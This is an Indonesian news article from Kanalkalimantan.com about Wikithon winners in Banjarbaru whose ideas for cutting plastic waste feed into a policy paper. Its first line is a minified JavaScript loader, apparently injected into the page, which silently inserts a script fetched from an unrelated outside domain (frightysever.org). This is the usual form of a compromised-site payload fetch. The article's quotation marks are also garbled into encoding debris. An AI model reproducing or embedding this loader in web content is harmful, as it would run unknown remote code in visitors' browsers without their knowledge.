(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Lifestyle

Ide Kreatif Anak Muda Peduli Lingkungan Dituangkan dalam Kertas Kebijakan

KANALKALIMANTAN.COM, BANJARBARU – Semangat peduli lingkungan terlihat dari anak muda Banjarbaru saat berlomba merumuskan ide kreatif dan inovasi mengurangi sampah plastik.

Kegiatan lomba aksi nyata peduli lingkungan yang diinisiasi Basakalimantan Wiki bertajuk Wikithon beberapa waktu lalu, memunculkan para juara yang berkesempatan memberikan ide inspirasinya langsung kepada pemangku kebijakan dalam sebuah forum grup diskusi.

Saat diwawancarai, peraih juara umum kedua Wikithon, Tiara Nurhaliza memberikan testimoni dari kegiatan positif ini, Menurutnya, kegiatan yang digelar Basakalimantan Wiki adalah hal baru yang ia jajaki. Berawal dari ketidaksengajaan mengikuti lomba, dirinya berkesempatan untuk menang dan mengikuti serangkaian dialog bersama para pemangku kebijakan di Ibu Kota Kalimantan Selatan.

Peraih juara ajang Wikithon, Rizka Cahaya Ardani dan Tiara Nurhaliza. Foto: wanda

â€œKegiatan yang digelar Basakalimantan Wiki ini adalah hal yang baru banget, dari ikut lomba saya menang dan diundang ke dialog satu dan dua, seterusnya dengan sangat teratur dan tertata itu sangat bagus direalisasikan,â€ ungkap Tiara Nurhaliza.

Senada, pemegang juara umum pertama ajang Wikithon Rizka Cahaya Ardani mengaku, memperoleh pengalaman baru bisa memberikan dan saling memberikan pendapat.

â€œBeragam inovasi saya sampaikan, salah satunya ada memulai dari diri sendiri, mencoba melakukan sosialisasi ke sekitar dan bisa mengembangkan suatu rumusan untuk mengurangi sampah plastik di Kota Banjarbaru,â€ ujar Rizka Cahaya Ardani.

Sementara itu Hudan Nur, Koordinator Basakalimantan Wiki mengatakan, kegiatan untuk merumuskan kebijakan ini dirangkai dengan Wikithon hingga dialog untuk kemudian dituangkan dalam kertas kebijakan.

â€œNantinya akan kami diskusikan secara lebih lanjut di ruang maya dan dari sana kami tentukan apakah draf itu akan kembali dibuat dalam beragam bentuk,â€ ungkap Hudan Nur.

Kertas kebijakan ini, katanya, bisa dibuat dalam bentuk data grafis yang menarik seperti komik.

â€œYang nantinya akan kami disemenasikan hasil dari draf itu bentuknya akan kami mufakatkan dalam pertemuan ruang maya,â€ tuntas Hudan. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie